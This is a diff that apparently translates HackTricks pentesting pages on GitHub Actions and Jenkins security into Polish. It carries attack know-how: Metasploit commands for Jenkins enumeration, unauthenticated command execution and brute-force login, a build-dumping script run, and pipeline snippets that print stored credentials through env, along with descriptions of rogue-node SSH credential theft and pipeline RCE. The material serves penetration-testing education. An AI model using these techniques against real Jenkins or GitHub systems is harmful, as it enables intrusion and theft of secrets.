modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." -- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps). +- Aplikacja GitHub powinna **podejmować działania niezależnie od użytkownika** (chyba że aplikacja używa tokena [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Aby zachować większe bezpieczeństwo tokenów dostępu user-to-server, możesz używać tokenów dostępu, które wygasają po 8 godzinach, oraz tokena odświeżającego, który można wymienić na nowy token dostępu. Więcej informacji znajdziesz w "[Odświeżanie tokenów dostępu user-to-server](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." +- Upewnij się, że aplikacja GitHub integruje się z **określonymi repozytoriami**. +- Aplikacja GitHub powinna **łączyć się z osobistym kontem lub organizacją**. +- Nie oczekuj, że aplikacja GitHub będzie wiedziała i robiła wszystko, co może użytkownik. +- **Nie używaj aplikacji GitHub, jeśli potrzebujesz tylko usługi "Logowanie z GitHub"**. Ale aplikacja GitHub może używać [przepływu identyfikacji użytkownika](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) do logowania użytkowników _i_ wykonywania innych działań. +- Nie buduj aplikacji GitHub, jeśli _tylko_ chcesz działać jako użytkownik GitHub i robić wszystko, co ten użytkownik może zrobić. +- Jeśli używasz swojej aplikacji z GitHub Actions i chcesz modyfikować pliki robocze, musisz uwierzytelnić się w imieniu użytkownika za pomocą tokena OAuth, który zawiera zakres `workflow`. Użytkownik musi mieć uprawnienia administratora lub zapisu do repozytorium, które zawiera plik roboczy. Więcej informacji znajdziesz w "[Zrozumienie zakresów dla aplikacji OAuth](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." +- **Więcej** w [tutaj](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps). ### Github Actions -This **isn't a way to authenticate in github**, but a **malicious** Github Action could get **unauthorised access to github** and **depending** on the **privileges** given to the Action several **different attacks** could be done. See below for more information. +To **nie jest sposób na uwierzytelnienie w githubie**, ale **złośliwa** akcja Github mogłaby uzyskać **nieautoryzowany dostęp do githuba** i **w zależności** od **uprawnień** nadanych akcji, mogłyby zostać przeprowadzone **różne ataki**. Zobacz poniżej więcej informacji. -## Git Actions +## Akcje Git -Git actions allows to automate the **execution of code when an event happen**. Usually the code executed is **somehow related to the code of the repository** (maybe build a docker container or check that the PR doesn't contain secrets). +Akcje Git pozwalają na automatyzację **wykonywania kodu, gdy wystąpi zdarzenie**. Zwykle wykonywany kod jest **w jakiś sposób związany z kodem repozytorium** (może budować kontener docker lub sprawdzać, czy PR nie zawiera sekretów). -### Configuration +### Konfiguracja -In _https://github.com/organizations/\/settings/actions_ it's possible to check the **configuration of the github actions** for the organization. +W _https://github.com/organizations/\/settings/actions_ można sprawdzić **konfigurację akcji github** dla organizacji. -It's possible to disallow the use of github actions completely, **allow all github actions**, or just allow certain actions. +Możliwe jest całkowite zablokowanie użycia akcji github, **zezwolenie na wszystkie akcje github** lub zezwolenie tylko na niektóre akcje. -It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the GITHUB_TOKEN** of a Github Action when it's run. +Możliwe jest również skonfigurowanie **kto potrzebuje zatwierdzenia do uruchomienia akcji Github** oraz **uprawnienia GITHUB_TOKEN** akcji Github, gdy jest uruchamiana. -### Git Secrets +### Sekrety Git -Github Action usually need some kind of secrets to interact with github or third party applications. To **avoid putting them in clear-text** in the repo, github allow to put them as **Secrets**. - -These secrets can be configured **for the repo or for all the organization**. Then, in order for the **Action to be able to access the secret** you need to declare it like: +Akcje Github zazwyczaj potrzebują jakiegoś rodzaju sekretów do interakcji z githubem lub aplikacjami stron trzecich. Aby **uniknąć umieszczania ich w postaci jawnej** w repozytorium, github pozwala na umieszczanie ich jako **Sekrety**. +Te sekrety mogą być skonfigurowane **dla repozytorium lub dla całej organizacji**. Następnie, aby **Akcja mogła uzyskać dostęp do sekretu**, musisz zadeklarować go w ten sposób: ```yaml steps: - - name: Hello world action - with: # Set the secret as an input - super_secret:${{ secrets.SuperSecret }} - env: # Or as an environment variable - super_secret:${{ secrets.SuperSecret }} +- name: Hello world action +with: # Set the secret as an input +super_secret:${{ secrets.SuperSecret }} +env: # Or as an environment variable +super_secret:${{ secrets.SuperSecret }} ``` - -#### Example using Bash - +#### Przykład użycia Bash ```yaml steps: - - shell: bash - env: SUPER_SECRET:${{ secrets.SuperSecret }} - run: | - example-command "$SUPER_SECRET" +- shell: bash +env: SUPER_SECRET:${{ secrets.SuperSecret }} +run: | +example-command "$SUPER_SECRET" ``` - > [!WARNING] -> Secrets **can only be accessed from the Github Actions** that have them declared. +> Sekrety **mogą być dostępne tylko z Github Actions**, które je zadeklarowały. -> Once configured in the repo or the organizations **users of github won't be able to access them again**, they just will be able to **change them**. +> Po skonfigurowaniu w repozytorium lub organizacjach **użytkownicy githuba nie będą mogli uzyskać do nich ponownie dostępu**, będą mogli tylko **je zmieniać**. -Therefore, the **only way to steal github secrets is to be able to access the machine that is executing the Github Action** (in that scenario you will be able to access only the secrets declared for the Action). +Dlatego **jedynym sposobem na kradzież sekretów githuba jest uzyskanie dostępu do maszyny, która wykonuje Github Action** (w tym scenariuszu będziesz mógł uzyskać dostęp tylko do sekretów zadeklarowanych dla tej Akcji). ### Git Environments -Github allows to create **environments** where you can save **secrets**. Then, you can give the github action access to the secrets inside the environment with something like: - +Github pozwala na tworzenie **środowisk**, w których możesz przechowywać **sekrety**. Następnie możesz dać github action dostęp do sekretów w środowisku za pomocą czegoś takiego jak: ```yaml jobs: - deployment: - runs-on: ubuntu-latest - environment: env_name +deployment: +runs-on: ubuntu-latest +environment: env_name ``` - -You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\ -It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed. +Możesz skonfigurować środowisko, aby było **dostępne** dla **wszystkich gałęzi** (domyślnie), **tylko chronionych** gałęzi lub **określić**, które gałęzie mogą uzyskać do niego dostęp.\ +Można również ustawić **liczbę wymaganych recenzji** przed **wykonaniem** **akcji** przy użyciu **środowiska** lub **czekać** przez **czas**, zanim pozwoli się na kontynuację wdrożeń. ### Git Action Runner -A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user. +Akcja Github może być **wykonywana w środowisku github** lub może być wykonywana w **infrastrukturze zewnętrznej** skonfigurowanej przez użytkownika. -Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**. +Wiele organizacji pozwala na uruchamianie Akcji Github w **infrastrukturze zewnętrznej**, ponieważ zazwyczaj jest to **tańsze**. -You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\/settings/actions/runners_ +Możesz **wymienić samodzielnie hostowane runner'y** organizacji w _https://github.com/organizations/\/settings/actions/runners_ -The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml. +Sposobem na znalezienie, które **Akcje Github są wykonywane w infrastrukturze nie-github** jest wyszukiwanie `runs-on: self-hosted` w konfiguracji yaml Akcji Github. -It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs. +**Nie jest możliwe uruchomienie Akcji Github organizacji w samodzielnie hostowanej maszynie** innej organizacji, ponieważ **generowany jest unikalny token dla Runner'a** podczas jego konfiguracji, aby wiedzieć, do której organizacji należy. -If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with. +Jeśli niestandardowy **Github Runner jest skonfigurowany na maszynie w AWS lub GCP**, na przykład, Akcja **może mieć dostęp do punktu końcowego metadanych** i **ukraść token konta usługi**, z którym działa maszyna. ### Git Action Compromise -If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed. +Jeśli wszystkie akcje (lub złośliwa akcja) są dozwolone, użytkownik mógłby użyć **Akcji Github**, która jest **złośliwa** i **kompromituje** **kontener**, w którym jest wykonywana. > [!CAUTION] -> A **malicious Github Action** run could be **abused** by the attacker to: +> Uruchomiona **złośliwa Akcja Github** mogłaby być **nadużywana** przez atakującego do: > -> - **Steal all the secrets** the Action has access to -> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service) -> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**. +> - **Kraść wszystkie sekrety**, do których Akcja ma dostęp +> - **Poruszać się lateralnie**, jeśli Akcja jest wykonywana w **infrastrukturze zewnętrznej**, gdzie token SA użyty do uruchomienia maszyny może być dostępny (prawdopodobnie przez usługę metadanych) +> - **Nadużywać token** używany przez **workflow**, aby **ukraść kod repozytorium**, w którym Akcja jest wykonywana lub **nawet go zmodyfikować**. ## Branch Protections -Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**. +Ochrony gałęzi są zaprojektowane, aby **nie dawać pełnej kontroli nad repozytorium** użytkownikom. Celem jest **wprowadzenie kilku metod ochrony przed możliwością pisania kodu w niektórej gałęzi**. -The **branch protections of a repository** can be found in _https://github.com/\/\/settings/branches_ +**Ochrony gałęzi repozytorium** można znaleźć w _https://github.com/\/\/settings/branches_ > [!NOTE] -> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo. +> **Nie jest możliwe ustawienie ochrony gałęzi na poziomie organizacji**. Wszystkie muszą być zadeklarowane w każdym repozytorium. -Different protections can be applied to a branch (like to master): +Różne ochrony mogą być stosowane do gałęzi (jak do master): -- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place: - - **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly. - - **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it. - - **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it) - - **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews. - - **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions. -- **Require status checks to pass before merging.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret). -- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged. -- **Require signed commits**. The commits need to be signed. -- **Require linear history.** Prevent merge commits from being pushed to matching branches. -- **Include administrators**. If this isn't set, admins can bypass the restrictions. -- **Restrict who can push to matching branches**. Restrict who can send a PR. +- Możesz **wymagać PR przed scaleniem** (więc nie możesz bezpośrednio scalać kodu w gałęzi). Jeśli to jest wybrane, mogą być wprowadzone różne inne ochrony: +- **Wymagaj liczby zatwierdzeń**. Bardzo często wymaga się, aby 1 lub 2 inne osoby zatwierdziły Twój PR, aby pojedynczy użytkownik nie mógł bezpośrednio scalać kodu. +- **Odrzuć zatwierdzenia, gdy nowe commity są przesyłane**. W przeciwnym razie użytkownik może zatwierdzić legalny kod, a następnie dodać złośliwy kod i go scalić. +- **Wymagaj recenzji od Właścicieli Kodu**. Co najmniej 1 właściciel kodu repozytorium musi zatwierdzić PR (więc "przypadkowi" użytkownicy nie mogą go zatwierdzić) +- **Ogranicz, kto może odrzucać recenzje pull requestów.** Możesz określić osoby lub zespoły uprawnione do odrzucania recenzji pull requestów. +- **Pozwól określonym aktorom na ominięcie wymagań pull requestów**. Ci użytkownicy będą mogli ominąć wcześniejsze ograniczenia. +- **Wymagaj, aby kontrole statusu przeszły przed scaleniem.** Niektóre kontrole muszą przejść przed możliwością scalania commita (jak akcja github sprawdzająca, czy nie ma żadnych jawnych sekretów). +- **Wymagaj rozwiązania rozmowy przed scaleniem**. Wszystkie komentarze dotyczące kodu muszą być rozwiązane przed scaleniem PR. +- **Wymagaj podpisanych commitów**. Commity muszą być podpisane. +- **Wymagaj liniowej historii.** Zapobiegaj przesyłaniu commitów scalających do pasujących gałęzi. +- **Uwzględnij administratorów**. Jeśli to nie jest ustawione, administratorzy mogą ominąć ograniczenia. +- **Ogranicz, kto może przesyłać do pasujących gałęzi**. Ogranicz, kto może wysłać PR. > [!NOTE] -> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline. +> Jak widać, nawet jeśli udało Ci się uzyskać jakieś dane uwierzytelniające użytkownika, **repozytoria mogą być chronione, co uniemożliwia Ci przesyłanie kodu do master** na przykład, aby skompromitować pipeline CI/CD. ## References @@ -253,7 +247,3 @@ Different protections can be applied to a branch (like to master): - [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md index 4dfba3ff3..cb33a88b1 100644 --- a/src/pentesting-ci-cd/jenkins-security/README.md +++ b/src/pentesting-ci-cd/jenkins-security/README.md @@ -2,311 +2,291 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -Jenkins is a tool that offers a straightforward method for establishing a **continuous integration** or **continuous delivery** (CI/CD) environment for almost **any** combination of **programming languages** and source code repositories using pipelines. Furthermore, it automates various routine development tasks. While Jenkins doesn't eliminate the **need to create scripts for individual steps**, it does provide a faster and more robust way to integrate the entire sequence of build, test, and deployment tools than one can easily construct manually. +Jenkins to narzędzie, które oferuje prostą metodę do stworzenia środowiska **ciągłej integracji** lub **ciągłego dostarczania** (CI/CD) dla prawie **dowolnej** kombinacji **języków programowania** i repozytoriów kodu źródłowego za pomocą pipeline'ów. Ponadto automatyzuje różne rutynowe zadania deweloperskie. Chociaż Jenkins nie eliminuje **konieczności tworzenia skryptów dla poszczególnych kroków**, zapewnia szybszy i bardziej niezawodny sposób integracji całej sekwencji narzędzi do budowy, testowania i wdrażania niż można łatwo skonstruować ręcznie. {{#ref}} basic-jenkins-information.md {{#endref}} -## Unauthenticated Enumeration - -In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use: +## Niezautoryzowana enumeracja +Aby wyszukiwać interesujące strony Jenkins bez uwierzytelnienia, takie jak (_/people_ lub _/asynchPeople_, które wyświetlają aktualnych użytkowników), możesz użyć: ``` msf> use auxiliary/scanner/http/jenkins_enum ``` - -Check if you can execute commands without needing authentication: - +Sprawdź, czy możesz wykonywać polecenia bez potrzeby uwierzytelnienia: ``` msf> use auxiliary/scanner/http/jenkins_command ``` +Bez poświadczeń możesz zajrzeć do ścieżki _**/asynchPeople/**_ lub _**/securityRealm/user/admin/search/index?q=**_ w poszukiwaniu **nazw użytkowników**. -Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**. - -You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_ +Możesz być w stanie uzyskać wersję Jenkins z ścieżki _**/oops**_ lub _**/error**_ ![](<../../images/image (146).png>) -### Known Vulnerabilities +### Znane Luki {{#ref}} https://github.com/gquere/pwn_jenkins {{#endref}} -## Login +## Logowanie -In the basic information you can check **all the ways to login inside Jenkins**: +W podstawowych informacjach możesz sprawdzić **wszystkie sposoby logowania się do Jenkins**: {{#ref}} basic-jenkins-information.md {{#endref}} -### Register +### Rejestracja -You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.** +Będziesz w stanie znaleźć instancje Jenkins, które **pozwalają na utworzenie konta i zalogowanie się do niego. Tak prosto.** -### **SSO Login** +### **Logowanie SSO** -Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/). +Jeśli **funkcjonalność**/**wtyczki** **SSO** były obecne, powinieneś spróbować **zalogować się** do aplikacji za pomocą konta testowego (tj. testowe **konto Github/Bitbucket**). Sztuczka z [**tutaj**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/). ### Bruteforce -**Jenkins** lacks **password policy** and **username brute-force mitigation**. It's essential to **brute-force** users since **weak passwords** or **usernames as passwords** may be in use, even **reversed usernames as passwords**. - +**Jenkins** nie ma **polityki haseł** ani **ochrony przed atakami brute-force na nazwy użytkowników**. Ważne jest, aby **brute-forcować** użytkowników, ponieważ mogą być używane **słabe hasła** lub **nazwy użytkowników jako hasła**, nawet **odwrócone nazwy użytkowników jako hasła**. ``` msf> use auxiliary/scanner/http/jenkins_login ``` - ### Password spraying -Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray). +Użyj [tego skryptu python](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) lub [tego skryptu powershell](https://github.com/chryzsh/JenkinsPasswordSpray). -### IP Whitelisting Bypass +### Ominięcie białej listy IP -Many organizations combine **SaaS-based source control management (SCM) systems** such as GitHub or GitLab with an **internal, self-hosted CI** solution like Jenkins or TeamCity. This setup allows CI systems to **receive webhook events from SaaS source control vendors**, primarily for triggering pipeline jobs. +Wiele organizacji łączy **systemy zarządzania kodem źródłowym (SCM) oparte na SaaS**, takie jak GitHub lub GitLab, z **wewnętrznym, samodzielnie hostowanym rozwiązaniem CI**, takim jak Jenkins lub TeamCity. Taka konfiguracja pozwala systemom CI na **otrzymywanie zdarzeń webhook z dostawców SCM SaaS**, głównie w celu uruchamiania zadań w pipeline. -To achieve this, organizations **whitelist** the **IP ranges** of the **SCM platforms**, permitting them to access the **internal CI system** via **webhooks**. However, it's important to note that **anyone** can create an **account** on GitHub or GitLab and configure it to **trigger a webhook**, potentially sending requests to the **internal CI system**. +Aby to osiągnąć, organizacje **dodają do białej listy** **zakresy IP** **platform SCM**, zezwalając im na dostęp do **wewnętrznego systemu CI** za pośrednictwem **webhooków**. Ważne jest jednak, aby zauważyć, że **każdy** może założyć **konto** na GitHubie lub GitLabie i skonfigurować je do **uruchamiania webhooka**, potencjalnie wysyłając żądania do **wewnętrznego systemu CI**. -Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/) +Sprawdź: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/) -## Internal Jenkins Abuses +## Wewnętrzne nadużycia Jenkins -In these scenarios we are going to suppose you have a valid account to access Jenkins. +W tych scenariuszach zakładamy, że masz ważne konto do uzyskania dostępu do Jenkinsa. > [!WARNING] -> Depending on the **Authorization** mechanism configured in Jenkins and the permission of the compromised user you **might be able or not to perform the following attacks.** +> W zależności od skonfigurowanego mechanizmu **autoryzacji** w Jenkinsie oraz uprawnień skompromitowanego użytkownika **możesz być w stanie lub nie wykonać następujące ataki.** -For more information check the basic information: +Aby uzyskać więcej informacji, sprawdź podstawowe informacje: {{#ref}} basic-jenkins-information.md {{#endref}} -### Listing users +### Lista użytkowników -If you have accessed Jenkins you can list other registered users in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/) +Jeśli uzyskałeś dostęp do Jenkinsa, możesz wyświetlić innych zarejestrowanych użytkowników w [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/) -### Dumping builds to find cleartext secrets - -Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets. +### Zrzucanie buildów w celu znalezienia jawnych sekretów +Użyj [tego skryptu](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py), aby zrzucić wyjścia konsoli buildów i zmienne środowiskowe buildów, aby mieć nadzieję na znalezienie jawnych sekretów. ```bash python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps cd build_dumps gitleaks detect --no-git -v ``` +### **Kradzież poświadczeń SSH** -### **Stealing SSH Credentials** - -If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key: +Jeśli skompromitowany użytkownik ma **wystarczające uprawnienia do tworzenia/modyfikowania nowego węzła Jenkins** i poświadczenia SSH są już przechowywane do uzyskania dostępu do innych węzłów, może **ukraść te poświadczenia**, tworząc/modyfikując węzeł i **ustawiając hosta, który zarejestruje poświadczenia** bez weryfikacji klucza hosta: ![](<../../images/image (218).png>) -You will usually find Jenkins ssh credentials in a **global provider** (`/credentials/`), so you can also dump them as you would dump any other secret. More information in the [**Dumping secrets section**](./#dumping-secrets). +Zazwyczaj znajdziesz poświadczenia ssh Jenkins w **globalnym dostawcy** (`/credentials/`), więc możesz je również zrzucić, tak jak zrzucasz inne sekrety. Więcej informacji w sekcji [**Zrzucanie sekretów**](./#dumping-secrets). -### **RCE in Jenkins** +### **RCE w Jenkins** -Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak all the **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**. +Uzyskanie **powłoki na serwerze Jenkins** daje atakującemu możliwość wycieku wszystkich **sekretów** i **zmiennych środowiskowych** oraz **eksploatacji innych maszyn** znajdujących się w tej samej sieci lub nawet **zbierania poświadczeń chmurowych**. -By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**. +Domyślnie Jenkins będzie **działał jako SYSTEM**. Tak więc, skompromitowanie go da atakującemu **uprawnienia SYSTEM**. -### **RCE Creating/Modifying a project** +### **RCE Tworzenie/Modyfikowanie projektu** -Creating/Modifying a project is a way to obtain RCE over the Jenkins server: +Tworzenie/Modyfikowanie projektu to sposób na uzyskanie RCE na serwerze Jenkins: {{#ref}} jenkins-rce-creating-modifying-project.md {{#endref}} -### **RCE Execute Groovy script** +### **RCE Wykonanie skryptu Groovy** -You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project: +Możesz również uzyskać RCE, wykonując skrypt Groovy, co może być bardziej dyskretne niż tworzenie nowego projektu: {{#ref}} jenkins-rce-with-groovy-script.md {{#endref}} -### RCE Creating/Modifying Pipeline +### RCE Tworzenie/Modyfikowanie Pipeline -You can also get **RCE by creating/modifying a pipeline**: +Możesz również uzyskać **RCE, tworząc/modyfikując pipeline**: {{#ref}} jenkins-rce-creating-modifying-pipeline.md {{#endref}} -## Pipeline Exploitation +## Eksploatacja Pipeline -To exploit pipelines you still need to have access to Jenkins. +Aby eksploatować pipeline, nadal musisz mieć dostęp do Jenkins. -### Build Pipelines +### Pipeline Budowy -**Pipelines** can also be used as **build mechanism in projects**, in that case it can be configured a **file inside the repository** that will contains the pipeline syntax. By default `/Jenkinsfile` is used: +**Pipeline** mogą być również używane jako **mechanizm budowy w projektach**, w takim przypadku można skonfigurować **plik w repozytorium**, który będzie zawierał składnię pipeline. Domyślnie używany jest `/Jenkinsfile`: ![](<../../images/image (127).png>) -It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access. +Możliwe jest również **przechowywanie plików konfiguracyjnych pipeline w innych miejscach** (na przykład w innych repozytoriach) w celu **oddzielenia** dostępu do repozytorium i dostępu do pipeline. -If an attacker have **write access over that file** he will be able to **modify** it and **potentially trigger** the pipeline without even having access to Jenkins.\ -It's possible that the attacker will need to **bypass some branch protections** (depending on the platform and the user privileges they could be bypassed or not). +Jeśli atakujący ma **dostęp do zapisu w tym pliku**, będzie mógł **zmodyfikować** go i **potencjalnie uruchomić** pipeline bez nawet dostępu do Jenkins.\ +Możliwe, że atakujący będzie musiał **obejść niektóre zabezpieczenia gałęzi** (w zależności od platformy i uprawnień użytkownika mogą być one obejdź lub nie). -The most common triggers to execute a custom pipeline are: +Najczęstsze wyzwalacze do wykonania niestandardowego pipeline to: -- **Pull request** to the main branch (or potentially to other branches) -- **Push to the main branch** (or potentially to other branches) -- **Update the main branch** and wait until it's executed somehow +- **Pull request** do głównej gałęzi (lub potencjalnie do innych gałęzi) +- **Push do głównej gałęzi** (lub potencjalnie do innych gałęzi) +- **Aktualizacja głównej gałęzi** i czekanie, aż zostanie wykonana w jakiś sposób > [!NOTE] -> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**. +> Jeśli jesteś **użytkownikiem zewnętrznym**, nie powinieneś oczekiwać, że stworzysz **PR do głównej gałęzi** repozytorium **innego użytkownika/organizacji** i **uruchomisz pipeline**... ale jeśli jest **źle skonfigurowany**, możesz całkowicie **skomprymować firmy, po prostu to wykorzystując**. -### Pipeline RCE +### RCE Pipeline -In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](./#rce-creating-modifying-pipeline). +W poprzedniej sekcji RCE już wskazano technikę, aby [**uzyskać RCE, modyfikując pipeline**](./#rce-creating-modifying-pipeline). -### Checking Env variables - -It's possible to declare **clear text env variables** for the whole pipeline or for specific stages. This env variables **shouldn't contain sensitive info**, but and attacker could always **check all the pipeline** configurations/Jenkinsfiles: +### Sprawdzanie zmiennych środowiskowych +Możliwe jest zadeklarowanie **zmiennych środowiskowych w postaci czystego tekstu** dla całego pipeline lub dla konkretnych etapów. Te zmienne środowiskowe **nie powinny zawierać wrażliwych informacji**, ale atakujący zawsze może **sprawdzić wszystkie konfiguracje pipeline/Jenkinsfiles:** ```bash pipeline { - agent {label 'built-in'} - environment { - GENERIC_ENV_VAR = "Test pipeline ENV variables." - } +agent {label 'built-in'} +environment { +GENERIC_ENV_VAR = "Test pipeline ENV variables." +} - stages { - stage("Build") { - environment { - STAGE_ENV_VAR = "Test stage ENV variables." - } - steps { +stages { +stage("Build") { +environment { +STAGE_ENV_VAR = "Test stage ENV variables." +} +steps { ``` - ### Dumping secrets -For information about how are secrets usually treated by Jenkins check out the basic information: +Aby uzyskać informacje na temat tego, jak sekrety są zazwyczaj traktowane przez Jenkins, zapoznaj się z podstawowymi informacjami: {{#ref}} basic-jenkins-information.md {{#endref}} -Credentials can be **scoped to global providers** (`/credentials/`) or to **specific projects** (`/job//configure`). Therefore, in order to exfiltrate all of them you need to **compromise at least all the projects** that contains secrets and execute custom/poisoned pipelines. - -There is another problem, in order to get a **secret inside the env** of a pipeline you need to **know the name and type of the secret**. For example, you try lo **load** a **`usernamePassword`** **secret** as a **`string`** **secret** you will get this **error**: +Poświadczenia mogą być **ograniczone do globalnych dostawców** (`/credentials/`) lub do **konkretnych projektów** (`/job//configure`). Dlatego, aby wyeksfiltrować wszystkie z nich, musisz **skompromitować przynajmniej wszystkie projekty**, które zawierają sekrety i wykonać niestandardowe/zepsute potoki. +Jest jeszcze jeden problem, aby uzyskać **sekret wewnątrz env** potoku, musisz **znać nazwę i typ sekrety**. Na przykład, jeśli spróbujesz **załadować** **sekret** **`usernamePassword`** jako **`string`** **sekret**, otrzymasz ten **błąd**: ``` ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected ``` - -Here you have the way to load some common secret types: - +Oto sposób na załadowanie niektórych powszechnych typów sekretów: ```bash withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) { - sh ''' - env #Search for USERNAME and PASS - ''' +sh ''' +env #Search for USERNAME and PASS +''' } withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) { - sh ''' - env #Search for SECRET - ''' +sh ''' +env #Search for SECRET +''' } withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) { - sh ''' - env # Search for USERPASS - ''' +sh ''' +env # Search for USERPASS +''' } # You can also load multiple env variables at once withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'), - string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) { - sh ''' - env - ''' +string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) { +sh ''' +env +''' } ``` - -At the end of this page you can **find all the credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) +Na końcu tej strony możesz **znaleźć wszystkie typy poświadczeń**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) > [!WARNING] -> The best way to **dump all the secrets at once** is by **compromising** the **Jenkins** machine (running a reverse shell in the **built-in node** for example) and then **leaking** the **master keys** and the **encrypted secrets** and decrypting them offline.\ -> More on how to do this in the [Nodes & Agents section](./#nodes-and-agents) and in the [Post Exploitation section](./#post-exploitation). +> Najlepszym sposobem na **zrzucenie wszystkich sekretów jednocześnie** jest **kompromitacja** maszyny **Jenkins** (na przykład uruchamiając reverse shell w **wbudowanym węźle**) i następnie **wyciek** **kluczy głównych** oraz **zaszyfrowanych sekretów** i odszyfrowanie ich offline.\ +> Więcej na ten temat w sekcji [Węzły i Agenci](./#nodes-and-agents) oraz w sekcji [Po Eksploatacji](./#post-exploitation). -### Triggers +### Wyzwalacze -From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): The `triggers` directive defines the **automated ways in which the Pipeline should be re-triggered**. For Pipelines which are integrated with a source such as 